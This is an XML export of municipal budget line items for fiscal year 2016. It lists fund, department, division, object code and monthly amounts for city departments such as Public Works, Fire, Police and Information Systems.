<row _id="21086"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>77</fund_id><fund_name>Parking Authority Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>236</division_id><division_name>PARKING AUTHORITY</division_name><object>404230.0</object><object_description>P/A BD FUND INT-DEP/INVEST</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-27000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-27000</total></row>
<row _id="21087"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-50963</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50963</total></row>
<row _id="21088"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>408330.0</object><object_description>LANDSCAPE &amp; IRRIG ON-SITE INSP</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-60000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-60000</total></row>
<row _id="21089"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>96054</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>96054</total></row>
<row _id="21090"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>26266</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26266</total></row>
<row _id="21091"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-STREET LIGHTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1125297</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1125297</total></row>
<row _id="21092"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522860.0</object><object_description>FUEL MANAGEMENT SYSTEMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8600</total></row>
<row _id="21093"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1970</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1970</total></row>
<row _id="21094"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>201934</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>201934</total></row>
<row _id="21095"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579000.0</object><object_description>COUNCIL DISCRETIONARY FUNDS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>367902</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>367902</total></row>
<row _id="21096"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-NATURAL GAS-CITY YAR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7797</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7797</total></row>
<row _id="21097"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTILITIES-WATER-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30297</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30297</total></row>
<row _id="21098"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTILITIES-WATER-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16693</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16693</total></row>
<row _id="21099"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUST SUPPLIES CITY TV</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2600</total></row>
<row _id="21100"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2905</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2905</total></row>
<row _id="21101"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3115</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3115</total></row>
<row _id="21102"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10500</total></row>
<row _id="21103"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3630</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3630</total></row>
<row _id="21104"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522115.0</object><object_description>UTIL - LIGHT/POWER - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>448995</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>448995</total></row>
<row _id="21105"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2271</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2271</total></row>
<row _id="21106"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1921</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1921</total></row>
<row _id="21107"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>555215.0</object><object_description>OUTSIDE TRAINER PAYMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21712</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21712</total></row>
<row _id="21108"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3060</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3060</total></row>
<row _id="21109"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544140.0</object><object_description>STREET MATERIAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>276741</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>276741</total></row>
<row _id="21110"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3031</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3031</total></row>
<row _id="21111"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4980</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4980</total></row>
<row _id="21112"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1277</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1277</total></row>
<row _id="21113"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522129.0</object><object_description>UTIL-GAS-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="21114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="21115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>38880</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38880</total></row>
<row _id="21116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18487</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18487</total></row>
<row _id="21117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533219.0</object><object_description>BLDG OPER/SUPPLIES-COM FAC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>120000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>120000</total></row>
<row _id="21118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>31700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31700</total></row>
<row _id="21119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>37340</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>37340</total></row>
<row _id="21120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>27200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27200</total></row>
<row _id="21121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17650</total></row>
<row _id="21122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10200</total></row>
<row _id="21123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3570</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3570</total></row>
<row _id="21124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>49936</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>49936</total></row>
<row _id="21125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12211</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12211</total></row>
<row _id="21126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10227</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10227</total></row>
<row _id="21127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>278571</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>278571</total></row>
<row _id="21128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-1730 4TH ST</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>33125</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>33125</total></row>
<row _id="21129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533221.0</object><object_description>BLDG/STR MAINT-COM FAC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>97000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>97000</total></row>
<row _id="21131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="21133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533228.0</object><object_description>BLDG/STR MAINT-KEN EDWARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>26000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26000</total></row>
<row _id="21134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
